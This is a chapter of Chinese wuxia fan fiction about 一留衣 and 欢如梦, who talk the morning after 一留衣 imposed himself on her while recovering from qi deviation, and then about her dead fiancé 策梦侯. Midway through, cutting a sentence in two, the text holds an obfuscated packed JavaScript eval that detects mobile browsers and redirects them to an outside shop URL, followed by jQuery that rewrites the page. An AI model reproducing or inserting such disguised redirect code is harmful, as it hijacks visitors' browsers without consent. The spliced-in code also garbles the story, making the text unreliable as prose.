一留衣轻轻转过身,看着昨晚被折腾惨了的欢如梦。她还在熟睡,娥眉微蹙。点点殷红的痕迹映衬着比雪还白的细腻肌肤,引得人难以从她身上移开目光,只想一看再看。
男子缓缓坐直上身,抬眼定定望了半晌。
“啪——”
他面无表情的扇了自己一耳光,并且还想再扇几个。
问就是手痒。
窗外春光初绽,在欢如梦身上投下柔柔的暖光,如身披一层轻薄锦绣,衬得她整个人娇弱和顺,与她的声音一般:
“唔……”
一留衣捂住嘴,屏息敛声,生怕吵醒她。心下难免懊恼,他怎么就没忍住呢。可能是他这人实在太欠打了吧。
然而事与愿违,欢如梦还是醒了。
她坐起身。“让让。”
“哦好的。”一留衣脑子懵了,想也不想的为她让开位置。
欢如梦下了床。
她背部的纹身让人不由自主地想要靠近她,去探索她身上的每一个秘密。他偷偷的瞄她,心知这是不对的,奈何他的目光总是被她吸引。
一留衣垂下双眸,遮去眼低深藏的自嘲。
“我利用你的功体双修,我们各取所需,所以你不必如此。”
欢如梦道。
一留衣深吸了一口气:“不对。”
“你能够用我的功体修炼是一回事,我违背你的意愿侵犯了你是另一回事,你不厌恶我,不代表我对你造成的伤害可以一笔勾销。”
不愧是反pua宙王这个洗脑大师的高手,思维逻辑就是清晰。这个男人虽然造型随便了点,但他做人却不随便,头脑清醒。
“我从意琦行和绮罗生那里听说过你的情况,你是为了保护绮罗生才会走火入魔。我这身功体,若是于你有用,那就拿去吧,一留衣这条命是你救的,任由你处置。”
欢如梦微垂着眼,慢慢拉上衣襟。
房内蓦然陷入一阵诡异的寂静,衣衫簌簌的声音轻响。
一留衣心内百转千回绕了无数个圈。
女子更衣时的声音仿佛在他耳边放大了数百倍。有些话酝酿许久,到了嘴边,还是咽了回去。
一留衣轻轻抬起头,却看到了女子脖颈上一排明显的牙印。衬着她雪白的皮肤,显得十分扎眼。
他一巴掌拍在脑门上,缓缓捂住了脸。
欢如梦回头看,只听他道:
“抱歉。伤害了你我很抱歉。”
欢如梦道:
“我不会同一个失去意识的人计较,你会失控,也有我的原因。”
一留衣抬眸。
男人不躲不避地迎上她的视线,摇了摇头:
“我很清醒的知道昨夜发生的一切。在你为我调息之后,我已经可以控制自己的身体,但我依旧没有放开你,这与你的特殊体质完全无关。”
“是我生了贪求,是我乘人之危。”
女子眉眼宛若冰雪雕琢般冷然,神情缥缈不定。
总算是在一留衣这里捡回点自信了。欢如梦遇到的天命者都太犯规,事业心太强,搞得她的欲海合欢花像是假冒伪劣产品。
策梦候是喜欢她,也没妨碍他出去嫖啊。罢了,不说了,她和策梦候两具臭皮囊罢了,谁也不比谁高尚。
欢如梦抛给他一叠衣物,一留衣避也没避,这叠衣物落到了他的怀里。
女子身上裹着一件白袍,腰间随意的系上一根红色的系带。欢如梦倚在墙边,指尖敲了敲梳妆台上的药方。
“你先穿这件吧。药材在左手边第三间房,药炉子和药碗在院子里,你自己把药熬了喝了。”
说罢,她便转身去了浴室。
一留衣应声说好。
等欢如梦沐浴更衣出来后,一留衣已经把自己打理好了。她嗅到空气里残留着草药的味道,走过去坐在他的对面。
欢如梦伸出手,一留衣把手腕递给她。欢如梦把脉的时候留意到药碗和药锅已清洗干净,她又挥笔写了一张新的药方。
欢如梦思忖着该如何随症用药,斟酌轻重之间,那双醉人而神秘灵动的星眸此时半眯着。
显然是因为刚刚梳洗过,女子滑嫩的肌肤更是白里透红,通透的如珍珠一般,原本就细嫩无比的脸庞变得更加白晰亮眼,更加衬托出长发乌黑柔亮的光泽。
四下里静谧无声,日光打在他们的身上投出两道剪影,远远望去,纠缠交叠的影子仿佛一对交颈鸳鸯,亲密地紧紧相依。
“照这个药方,入夜煎了喝。”
“多谢。”
欢如梦眼皮抬都不抬一下,为了巩固病弱人设,兀自去药房抓药去了。
很多时候,欢如梦对某个人好,不是真的为了那个人,而是为了自己,有时是为了利益,有时则是为了精神需求。
比如说,帮助一留衣,完全就是为了满足自己的救赎心态,俗称自我感动。
还有什么能比救助同为弃子的一留衣,更能满足她救赎欲的人选了吗?
或许有,但没利益。没利益的事情她是不会去做的。
若是再有人倒霉,比如说意琦行之类的,她就假装看不见了,反正一切都是鬼荒地狱变的错。
“等等,还是让我来吧。”
“不是给你喝的,是给我自己喝的。”
一留衣想起之前她的体温也很凉,他依稀还能感觉得到欢如梦指尖的温度,他曾抱过她,昨晚的体温与方才把脉时相比,并没有好上多少。
他从她的手中接过药包:
“我来吧,你去歇歇。”
欢如梦撒手不管。
既然有免费劳动力,那就让他做好了。
她找了个躺椅躺了下来,看着头顶树荫蔽日的天空发呆,不知不觉就闭上了眼睛。
听着药锅里咕嘟咕嘟的药滚开的声音,风轻轻拂过脸庞,微苦的药香弥漫开来。一缕缕阳光透过树叶间的缝隙,在地上映出一片斑驳。
一留衣什么也没说。
只是在药熬好后喊她起来喝,看着她喝完药后,一留衣伸开双臂向她弯下了腰。欢如梦半眯着眼睛看了他一眼,搂住了他的脖子。
下一刻她双脚离地,身体悬空被人抱起。
一留衣将她抱回房里,轻轻放躺在床上。欢如梦表现出乏累,昏昏欲睡。
“困了就休息吧。”
他试探着摸了摸她的头发,手感如黑色绸缎一样柔滑,见欢如梦并没有抗拒的反应,一留衣轻抚她的脸,为她拉上被子。
欢如梦闭上了眼睛,呼吸声随着入睡渐沉,一留衣静悄悄的把她冰凉的双手捧在手心里。
这一睡就睡到了晚上。
几乎是在她睁开眼睛的同时,一杯温茶递了过来。欢如梦看着杯子里的养生茶,心道一留衣熟悉新环境倒是很快。
连她把茶叶放在哪里都摸清楚了。
一留衣看着她喝茶,问:
“换我来做你的未婚夫怎么样?”
他看得很清楚,他与欢如梦做不了朋友。
怎么可能再做回朋友?
爱过的人是做不了朋友了,因为一见面就心软,一拥抱就沦陷,多看一眼就想重新拥有。
有婚约不要紧,这不是还没成婚嘛。挖墙脚虽然不道德,但是追老婆还要什么道德,大不了他和策梦候公平竞争就是了。
欢如梦按了按眉心,郁色难消:
“绮罗生没告诉你们吧。”
一留衣愣了一下:
“什么?”
欢如梦道:
“策梦侯死了。”
一留衣沉默片刻,道:“抱歉,节哀。”
明月的皎洁光色流泻在她洁白无暇的肌肤上,更显得晶莹剔透。欢如梦放下茶杯,手指下意识蜷缩成团,神色不定地别过脸。
“其实我并没有感到悲伤,也因早有准备并未感到太过意外,实际上我也匮乏悲伤。说到底……这纸婚约就是协议,利益的等价交换罢了。”
女子回忆到这里,恨意突然翻涌,欢如梦喝了口热茶将情绪压在眼底。她的眼神深深地烙印在了一留衣的脑海里。
【呦,上眼药呢?】
欢如梦:上着呢,你和缎君衡谈的怎么样?
【为了他的亲亲宝贝儿子们,当然是答应卖身给我啦~】
欢如梦:恭喜恭喜,做大做强。
【同喜同喜。说真的,岁岁,你的真爱该不会是策梦侯吧?】
欢如梦:我要吐了。
【你真的好像那些脱粉回踩的追星女孩欸~】
一留衣听到了她毫不掩饰的嗤笑声:
“至近至远东西,至深至浅清溪。至高至明日月,至亲至疏夫妻。”
字里行间蕴藏着的沧桑无奈,极为冷峻。这当中爱恨情仇太过微妙,太过深刻,一留衣大概明白为何意琦行和绮罗生提起策梦候会是那副心事重重的表现了。
若他们的感情真如表面上那般融洽,欢如梦怎么会是这个样子?幸福不幸福,一眼就能看出来。欢如梦身上没有被爱的能量气场,而且她明显陷入了内耗。
“你看的太通透了,所以才会感到痛苦。
明白了人与人之间的虚伪感情,明白了世俗的恶劣难堪。身在局中,看透了所有的道路、所有的布局,却只能眼睁睁看着自己走向一个已经确定的结果。
很多事情看开了却还是走不出来,很多事情看透了却没有能力阻止,无可奈何决定了顺其自然,你活得一点都不开心。”
一留衣说道。
“身在局中不知局,有时也是一种幸福。我心里已经有了答案,只是不愿意去面对那个结果。”欢如梦顿了顿,苦笑道:“有没有人说过,你说话太犀利,一针见血。我听得有点受不了。”
有没有人说过不知道,倒是宙王听完就晕了。
“那我不说了。”一留衣给她倒茶:“怪我,我给你赔个不是。”
欢如梦披衣起身,浅饮一口。
一留衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12328729|131097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向她细望了几眼,见女子眉目清俊秀丽,脸庞弱态含娇,脂粉不施,天生丽质。流焰蝴蝶纹在这张脸上简直是点睛之笔。眉黛青山,双瞳剪水,自有一股轻灵之气,更添了一份我见犹怜的心动。
如此佳人谁忍苛责?
“我想问个你事儿,策梦候是你未婚夫这个事情,意琦行他有说过什么吗?”
“没说过,但我能看出来他对策梦候有意见。”
“哦,怪不得……”原来是看不上啊。
当初谈及绮罗生复生一事,意琦行痛骂策梦候。那时一留衣还觉得意琦行太毒舌,也不知他哪里来的一股子无名火,简直莫名其妙。
怎么说人家也是绮罗生的救命恩人,干嘛这么针对人家,揪着人品私德这点不放。之前玉阳江绮罗生的追悼会也是,动不动就把别人的性命挂在嘴边威胁别人。哪有这么托人照顾同修的?
现在?呵呵……他心里大抵有数了。
策梦候,你个没品的东西。
“啊嚏!”
步香尘突然打了个喷嚏。
武道七修的人,其实都有点帮亲不帮理的毛病,还护短,区别在于表现程度不同。
一留衣算是通情达理的那个,如今也忍不住背后说人长短了。
尤其欢如梦还是二代内七修,真按辈分她算是一留衣的后辈。
“其实若他没死,我也要与他解除婚约。绮罗生曾经收过一个小徒弟,传承兽花,我查到一些陈年往事。她曾沦落风尘,清白让策梦候夺去了。她的年纪不到双十。”
欢如梦面无表情道。
一留衣蹭的一声站起来,双手叉腰,不停地在屋里转来转去。
“你心脉有损,不易动怒。”
欢如梦善意提醒道。
一留衣缓缓吐出一口浊气,道:“死得好。这种朝三暮四的男人,不值得你对他从一而终。”
这种人凭什么能有老婆!
“祖训有言,欲梦两脉,结两姓之好。真论起来我或许还该叫他一声族兄。”
欢如梦不动声色的拱火。
“呸,衣冠禽兽,他也配?”
一留衣冷笑。
“或许是因果循环,报应不爽。令他重伤的人,正是那个姑娘。只说我这里能查到的人,足以撑起一个青楼。”
“……那他真的很棒哦,就跟个棒槌一个样。不怪你,你太年轻,是人是狗没看清。”
活该!让他出去嫖!嫖出事儿了吧!
一留衣这张嘴简直杀疯了。
他真的很会说。
在他看来,当人倾诉的时候,是需要人来安慰认同的,希望被理解,而不是多一人来指责。
“或许我也有问题吧,他一直觉得我的性格阴晴不定。”
“这怎么能是你的问题!是他立身不正,你不要从自己身上找原因,你分明是受到了他的影响。你这是什么眼神,好像第一天认识我似的。我以前在你眼里是什么形象啊?”
“嗯……隐士高人,老顽童?”
一留衣大笑起来。
明亮但不刺眼,自信又懂得收敛。让人向往的同时又能带给人源源不断的正向情绪,他的眼睛干净又真诚,是扶光芳岁会喜欢的类型。
可惜,欢如梦平等的讨厌每一个人。所以她看了一眼就移开了目光。
一留衣摸了摸自己的脸,调侃道:
“我还没有老到让你不忍直视吧?”
欢如梦诧异的看向他:
“您还会介意这个?我还以为,您这幅尊容就是因为太想得开了。”
一留衣点了点她:
“好一个伶牙俐齿的姑娘。留衣者,一流衣也,我这帽子里面装了什么,是旁人永远也料不到的惊喜……”
结果摸了个空,他又笑了起来。
“顺势而为,遵从本心。你不要想太多,我们的事情也是一样的。
我不仅仅只是为了负责才想和你在一起,我对你动心,所以想和你在一起。”
他也不是为了和谁较劲,也不是为了要个未婚夫的名头,他只是喜欢欢如梦。
欢如梦问:“是什么时候的事。”
一留衣的眼眸明亮,深蓝到近乎墨色的眼眸里像是闪烁着万顷星子。
“或许是一见如故?又或许在更久之前。咱们认识的时间也不短了,只是我发现的晚了点,好在还来得及。”
人啊,太好利用了。
【一留衣答应了。】
“总之你不必为难,你觉得我们怎么相处舒服,那就怎么相处。”
欢如梦听着,垂下眼睛摸了摸自己的手。“你喝药了吗?”
“啊呀,忘了,实在不该,我这就去。”
一留衣正要起身,袖子被拉住了。
“别喝了。”
他回头望去,女子的手一点点向上试探,一留衣下意识的握住了她的手,拢在掌心里捂热。听到她说:
“今晚……留下来吧。”